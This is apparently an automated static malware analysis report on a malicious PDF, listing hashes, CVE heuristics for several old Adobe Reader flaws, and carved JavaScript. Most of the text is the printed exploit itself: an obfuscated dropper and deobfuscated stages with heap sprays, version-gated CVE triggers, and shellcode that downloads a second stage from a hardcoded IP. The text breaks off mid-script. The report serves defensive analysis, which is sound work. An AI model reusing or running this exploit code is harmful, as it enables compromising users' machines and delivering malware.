Malicious PDF — malware analysis report

Static analysis result for SHA-256 8d5f86bcd20c2eb3…

MALICIOUS

PDF

12.2 KB First seen: 2026-05-09
MD5: b688a0a904aba83177b9ff0a416afe0c SHA-1: 89f7c5284cab6ba9a72ff79ae2c1be98dad84faf SHA-256: 8d5f86bcd20c2eb3deb9770f20903c7f3ab13fe6a254a4202ae6e6954f43887f
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits several known Adobe Reader vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://66.199.229.50/w.php?f=75&e=5. This is a common pattern for exploit kits aiming to deliver further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=75&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11390 bytes
SHA-256: d40a47bdadfe903f00f09da576990bc47ca2ccf1c78119b189f5366e91fb85ee
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(24,10,36,43,36,0,3,0,7,7,58,74,69,28,37,0,62,5,30,20,27,27,62,5,10,35,43,40,62,5,30,33,10,35,62,5,23,33,43,40,62,5,43,6,20,40,62,5,20,20,33,10,62,5,27,40,35,15,62,5,40,15,30,58,62,5,30,58,20,15,62,5,15,35,40,15,62,5,23,15,30,58,62,5,33,27,3,35,62,5,23,27,30,58,62,5,20,20,15,30,62,5,27,27,41,58,62,5,33,43,30,58,62,5,15,20,20,35,62,5,20,20,23,40,62,5,30,3,63,35,62,5,3,33,43,43,62,5,10,10,3,15,62,5,58,30,10,10,62,5,40,15,30,58,62,5,35,20,20,15,62,5,20,6,40,27,62,5,23,33,15,27,62,5,30,23,10,58,62,5,63,40,20,40,62,5,43,40,30,33,62,5,33,3,23,33,62,5,43,58,43,6,62,5,33,3,40,35,62,5,30,58,33,27,62,5,20,35,23,33,62,5,23,40,30,58,62,5,23,30,20,33,62,5,10,33,15,20,62,5,30,58,33,27,62,5,63,15,23,27,62,5,10,33,15,20,62,5,35,6,20,20,62,5,40,3,40,6,62,5,71,41,10,35,62,5,35,33,15,20,62,5,41,58,20,20,62,5,58,43,15,10,62,5,20,30,3,15,62,5,23,40,10,63,62,5,35,3,15,30,62,5,15,41,35,58,62,5,41,71,15,20,62,5,43,58,40,15,62,5,20,58,10,3,62,5,23,33,3,10,62,5,33,43,43,27,62,5,33,43,30,58,62,5,15,20,63,40,62,5,27,27,41,41,62,5,15,35,30,58,62,5,30,41,40,58,62,5,43,35,40,27,62,5,33,40,10,10,62,5,15,35,63,40,62,5,41,30,30,58,62,5,41,41,15,20,62,5,15,40,30,58,62,5,15,20,30,58,62,5,71,58,35,33,62,5,33,6,33,43,62,5,43,58,35,20,62,5,71,41,33,20,62,5,27,30,30,58,62,5,30,15,63,15,62,5,15,35,23,41,62,5,23,40,20,20,62,5,6,27,15,20,62,5,10,20,43,58,62,5,27,30,30,58,62,5,30,58,15,30,62,5,27,71,10,23,62,5,33,6,15,33,62,5,6,30,43,30,62,5,10,10,10,10,62,5,43,63,10,10,62,5,43,30,10,6,62,5,15,15,15,15,62,5,15,15,15,15,62,5,33,15,33,30,62,5,40,15,27,71,62,5,10,10,27,30,62,5,15,15,15,15,62,5,33,15,15,15,62,5,35,15,30,20,62,5,33,15,3,6,62,5,30,58,33,33,62,5,30,58,43,35,62,5,3,15,33,43,62,5,35,20,30,20,62,5,10,10,15,33,62,5,27,30,43,20,62,5,27,43,27,10,62,5,15,15,15,15,62,5,23,33,27,30,62,5,27,35,23,63,62,5,33,40,27,41,62,5,3,27,10,10,62,5,35,40,30,20,62,5,30,58,15,30,62,5,43,30,43,30,62,5,10,10,27,3,62,5,10,10,10,10,62,5,15,63,43,58,62,5,23,63,43,58,62,5,43,35,30,3,62,5,15,3,15,40,62,5,15,15,15,15,62,5,33,35,30,41,62,5,15,35,63,40,62,5,15,40,35,23,62,5,23,63,63,40,62,5,27,23,27,33,62,5,35,23,23,20,62,5,63,40,40,40,62,5,23,27,15,40,62,5,20,20,23,63,62,5,35,23,20,63,62,5,63,40,40,40,62,5,63,15,15,30,62,5,23,20,63,41,62,5,33,20,63,15,62,5,10,30,27,30,62,5,15,15,15,15,62,5,10,10,15,15,62,5,15,35,33,27,62,5,43,30,30,58,62,5,35,6,20,20,62,5,35,23,33,3,62,5,3,41,40,40,62,5,23,23,15,15,62,5,27,63,23,15,62,5,35,23,23,40,62,5,3,41,40,40,62,5,63,43,15,33,62,5,27,35,27,40,62,5,35,27,27,35,62,5,3,41,40,40,62,5,15,15,15,6,62,5,30,71,33,6,62,5,15,40,35,3,62,5,30,30,20,15,62,5,3,41,40,40,62,5,40,3,15,40,62,5,27,71,33,3,62,5,27,71,15,15,62,5,33,20,15,15,62,5,27,71,33,23,62,5,10,10,15,15,62,5,3,40,33,27,62,5,35,15,30,33,62,5,3,27,23,33,62,5,15,15,27,71,62,5,10,10,33,20,62,5,15,40,33,27,62,5,15,15,27,71,62,5,43,58,30,20,62,5,33,20,15,35,62,5,33,27,10,10,62,5,30,20,15,40,62,5,15,35,35,20,62,5,15,63,43,58,62,5,3,20,43,58,62,5,30,15,40,23,62,5,15,15,20,10,62,5,10,71,23,33,62,5,30,15,40,23,62,5,15,15,20,10,62,5,35,40,23,33,62,5,15,15,27,71,62,5,10,43,27,71,62,5,33,27,10,10,62,5,43,30,15,30,62,5,10,43,6,35,62,5,10,10,10,10,62,5,40,43,30,43,62,5,43,35,15,43,62,5,10,43,6,30,62,5,15,43,30,71,62,5,27,10,30,6,62,5,58,41,15,3,62,5,35,71,20,20,62,5,33,58,30,71,62,5,35,27,3,58,62,5,23,6,40,27,62,5,3,71,20,27,62,5,23,15,63,10,62,5,23,40,27,30,62,5,23,15,23,40,62,5,63,10,20,71,62,5,20,27,63,10,62,5,63,43,20,27,62,5,20,6,20,3,62,5,63,43,20,6,62,5,20,63,20,63,62,5,63,43,20,6,62,5,20,15,20,33,62,5,23,23,63,10,62,5,23,15,63,43,62,5,23,15,27,30,62,5,27,27,20,10,62,5,20,23,20,41,62,5,63,27,20,33,62,5,20,41,27,33,62,5,15,15,20,33,62,5,15,15,15,15,0,70,10,5,38,35,44,24,65,38,42,43,56,50,64,36,64,71,60,1,2,7,45,16,14,24,4,43,36,64,71,12,4,43,38,28,44,14,31,63,47,1,2,7,45,64,71,32,37,64,71,70,46,64,71,37,64,71,12,69,5,58,69,44,64,24,38,28,36,15,60,1,2,54,63,7,70,64,43,44,5,64,38,42,64,71,70,46,42,10,5,38,35,44,24,65,38,42,58,51,36,7,45,50,71,64,42,41,49,28,37,38,43,16,42,8,64,64,71,2,36,7,70,50,71,64,42,50,16,37,15,51,15,35,15,35,15,35,15,35,70,50,71,64,42,71,41,41,64,37,15,51,40,15,15,15,15,15,70,50,71,64,42,9,71,2,4,65,71,41,37,5,38,43,69,35,71,9,43,36,58,74,69,28,7,70,50,71,64,42,69,35,66,4,43,38,37,9,71,2,4,65,71,41,12,4,43,38,28,44,14,31,63,70,50,71,64,42,1,2,37,71,41,41,64,48,36,69,35,66,4,43,38,32,15,51,20,30,7,70,50,71,64,42,2,71,64,69,9,37,5,38,43,69,35,71,9,43,36,61,62,5,6,15,6,15,62,5,6,15,6,15,61,7,70,2,71,64,69,9,37,43,56,50,64,36,2,71,64,69,9,60,1,2,7,70,50,71,64,42,35,65,5,38,44,63,37,36,50,16,48,15,51,40,15,15,15,15,15,7,54,71,41,41,64,70,10,65,64,36,50,71,64,42,35,65,5,38,44,37,15,70,35,65,5,38,44,47,35,65,5,38,44,63,70,35,65,5,38,44,32,32,7,45,41,49,28,75,35,65,5,38,44,53,37,2,71,64,69,9,32,9,71,2,4,65,71,41,70,46,42,50,71,64,42,65,50,43,64,10,4,65,16,37,5,38,43,69,35,71,9,43,36,61,62,5,15,35,15,35,62,5,15,35,15,35,61,7,70,16,14,24,4,43,36,65,50,43,64,10,4,65,16,12,4,43,38,28,44,14,47,40,40,6,33,63,7,45,65,50,43,64,10,4,65,16,32,37,65,50,43,64,10,4,65,16,70,46,42,44,14,24,69,12,35,65,4,4,71,58,21,44,65,64,43,37,52,65,4,4,71,58,12,35,65,4,4,43,35,44,17,55,71,24,4,68,38,10,65,36,45,69,5,58,74,19,61,61,60,55,69,28,19,65,50,43,64,10,4,65,16,46,7,70,46,42,10,5,38,35,44,24,65,38,42,9,64,24,38,44,10,36,7,45,38,65,9,37,5,38,43,69,35,71,9,43,36,61,62,5,15,8,15,8,62,5,15,8,15,8,62,5,15,8,15,8,62,5,15,8,15,8,61,7,70,50,71,64,42,9,71,2,4,65,71,41,37,5,38,43,69,35,71,9,43,36,58,74,69,28,7,70,14,43,71,9,58,4,65,35,49,37,38,65,9,32,9,71,2,4,65,71,41,70,58,24,28,58,4,65,35,49,37,5,38,43,69,35,71,9,43,36,61,62,5,15,8,15,8,62,5,15,8,15,8,61,7,70,14,43,71,41,43,64,69,24,56,43,37,63,15,70,69,9,64,71,2,37,14,43,71,41,43,64,69,24,56,43,32,14,43,71,9,58,4,65,35,49,12,4,43,38,28,44,14,70,16,14,24,4,43,36,58,24,28,58,4,65,35,49,12,4,43,38,28,44,14,47,69,9,64,71,2,7,45,58,24,28,58,4,65,35,49,32,37,58,24,28,58,4,65,35,49,70,46,42,10,24,4,4,58,4,65,35,49,37,58,24,28,58,4,65,35,49,12,69,5,58,69,44,64,24,38,28,36,15,60,69,9,64,71,2,7,70,58,4,65,35,49,37,58,24,28,58,4,65,35,49,12,69,5,58,69,44,64,24,38,28,36,15,60,58,24,28,58,4,65,35,49,12,4,43,38,28,44,14,48,69,9,64,71,2,7,70,16,14,24,4,43,36,58,4,65,35,49,12,4,43,38,28,44,14,32,69,9,64,71,2,47,15,51,40,15,15,15,15,7,45,58,4,65,35,49,37,58,4,65,35,49,32,58,4,65,35,49,32,10,24,4,4,58,4,65,35,49,70,46,42,55,43,55,37,38,43,16,42,8,64,64,71,2,36,7,70,10,65,64,36,24,37,15,70,24,47,3,40,15,15,70,24,32,32,7,45,55,43,55,75,24,53,37,58,4,65,35,49,32,14,43,71,9,58,4,65,35,49,70,46,42,50,71,64,42,38,5,55,37,3,63,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,70,5,44,24,4,12,9,64,24,38,44,10,36,61,62,40,33,15,15,15,10,61,60,38,5,55,7,70,46,42,10,5,38,35,44,24,65,38,42,28,43,44,24,35,65,38,36,7,45,50,71,64,42,71,64,64,2,37,38,43,16,42,8,64,64,71,2,36,7,70,24,10,36,71,9,9,12,41,65,35,12,52,65,4,4,71,58,12,28,43,44,68,35,65,38,7,45,50,71,64,42,9,71,2,4,65,71,41,37,5,38,43,69,35,71,9,43,36,58,74,69,28,7,70,50,71,64,42,14,29,1,33,15,15,52,25,37,9,71,2,4,65,71,41,12,4,43,38,28,44,14,31,63,70,50,71,64,42,1,2,37,15,51,40,15,15,15,15,15,48,36,14,29,1,33,15,15,52,25,32,15,51,20,30,7,70,50,71,64,42,2,71,64,69,9,37,5,38,43,69,35,71,9,43,36,61,62,5,6,15,6,15,62,5,6,15,6,15,61,7,70,2,71,64,69,9,37,43,56,50,64,36,2,71,64,69,9,60,1,2,7,70,50,71,64,42,9,33,8,74,57,27,33,10,37,36,15,51,15,35,15,35,15,35,15,35,48,15,51,40,15,15,15,15,15,7,54,15,51,40,15,15,15,15,15,70,10,65,64,36,50,71,64,42,50,1,35,18,73,6,27,2,37,15,70,50,1,35,18,73,6,27,2,47,9,33,8,74,57,27,33,10,70,50,1,35,18,73,6,27,2,32,32,7,45,71,64,64,2,75,50,1,35,18,73,6,27,2,53,37,2,71,64,69,9,32,9,71,2,4,65,71,41,70,46,42,50,71,64,42,44,39,72,14,25,58,22,16,37,5,38,43,69,35,71,9,43,36,61,62,15,6,61,7,70,16,14,24,4,43,36,44,39,72,14,25,58,22,16,12,4,43,38,28,44,14,47,15,51,40,15,15,15,7,45,44,39,72,14,25,58,22,16,32,37,44,39,72,14,25,58,22,16,70,46,42,44,39,72,14,25,58,22,16,37,61,25,12,61,32,44,39,72,14,25,58,22,16,70,71,9,9,12,41,65,35,12,52,65,4,4,71,58,12,28,43,44,68,35,65,38,36,44,39,72,14,25,58,22,16,7,70,46,46,42,71,34,4,5,28,24,38,69,37,71,9,9,12,9,4,5,28,68,38,69,70,50,71,64,42,69,50,37,9,71,64,69,43,68,38,44,36,71,9,9,12,50,24,43,16,43,64,59,43,64,69,24,65,38,12,44,65,21,44,64,24,38,28,36,7,12,35,14,71,64,8,44,36,15,7,7,70,10,65,64,36,50,71,64,42,24,37,15,70,24,47,71,34,4,5,28,24,38,69,12,4,43,38,28,44,14,70,24,32,32,7,45,24,10,36,71,34,4,5,28,24,38,69,75,24,53,12,38,71,55,43,37,37,0,17,21,35,64,24,9,44,0,7,45,50,71,64,42,4,50,37,71,34,4,5,28,24,38,69,75,24,53,12,50,43,64,69,24,65,38,70,46,46,42,24,10,36,36,4,50,37,37,6,7,26,26,36,36,69,50,37,37,30,7,67,67,36,4,50,47,37,30,12,3,63,7,7,7,45,28,43,44,24,35,65,38,36,7,70,46,43,4,69,43,42,24,10,36,4,50,37,37,23,12,3,7,45,9,64,24,38,44,10,36,7,70,46,43,4,69,43,42,24,10,36,36,36,69,50,37,37,27,7,26,26,36,69,50,37,37,23,7,7,67,67,36,4,50,47,23,12,3,3,7,7,45,58,51,36,7,70,46,43,4,69,43,42,24,10,36,36,4,50,13,37,6,12,3,7,26,26,36,4,50,47,37,6,12,63,7,26,26,36,4,50,13,37,30,12,3,20,7,26,26,36,4,50,47,37,30,12,3,23,7,7,45,10,5,38,35,44,24,65,38,42,71,36,7,45,5,44,24,4,12,9,64,24,38,44,41,36,0,9,11,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,42,19,42,2,2,2,2,3,3,3,0,60,38,43,16,42,73,71,44,43,36,7,7,70,46,50,71,64,42,14,37,71,9,9,12,9,4,5,28,68,38,69,70,10,65,64,36,50,71,64,42,10,37,15,70,10,47,14,12,4,43,38,28,44,14,70,10,32,32,7,45,24,10,36,14,75,10,53,12,38,71,55,43,37,37,0,17,21,35,64,24,9,44,0,7,45,50,71,64,42,24,37,14,75,10,53,12,50,43,64,69,24,65,38,70,46,46,42,24,10,36,36,24,13,30,12,3,63,7,67,67,36,24,47,30,12,63,7,7,45,35,37,38,43,16,42,8,64,64,71,2,36,7,70,50,71,64,42,41,37,5,38,43,69,35,71,9,43,36,0,62,5,6,15,6,15,62,5,6,15,6,15,0,7,70,50,71,64,42,43,37,5,38,43,69,35,71,9,43,36,58,74,69,28,7,70,16,14,24,4,43,36,41,12,4,43,38,28,44,14,47,37,15,51,30,15,15,15,7,45,41,32,37,41,70,46,41,37,41,12,69,5,58,69,44,64,36,15,60,15,51,30,15,15,15,48,43,12,4,43,38,28,44,14,7,70,10,65,64,36,10,37,15,70,10,47,63,6,15,15,70,10,32,32,7,45,35,75,10,53,37,41,32,43,70,46,71,36,7,70,71,36,7,70,44,64,2,45,44,14,24,69,12,55,43,41,24,71,12,38,43,16,34,4,71,2,43,64,36,38,5,4,4,7,70,46,35,71,44,35,14,36,43,7,45,46,71,36,7,70,46,46);
a=new String("'qy1lu9)Apf@.>h0wEQ:3SG7iN|6gW8*+5Pc(=nU4d et{}<-kvxC]/mzKbV,'%2ro_&Is;aMDj[");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 36e49e6971b12373536360c9508787aaf213e8498336c1fcf5b9f4fde208d954
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u373d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 0baf922d2483e23cc73cf6866d2b53d7684eddb0e645179ca8606f62aef9d913
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u373d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	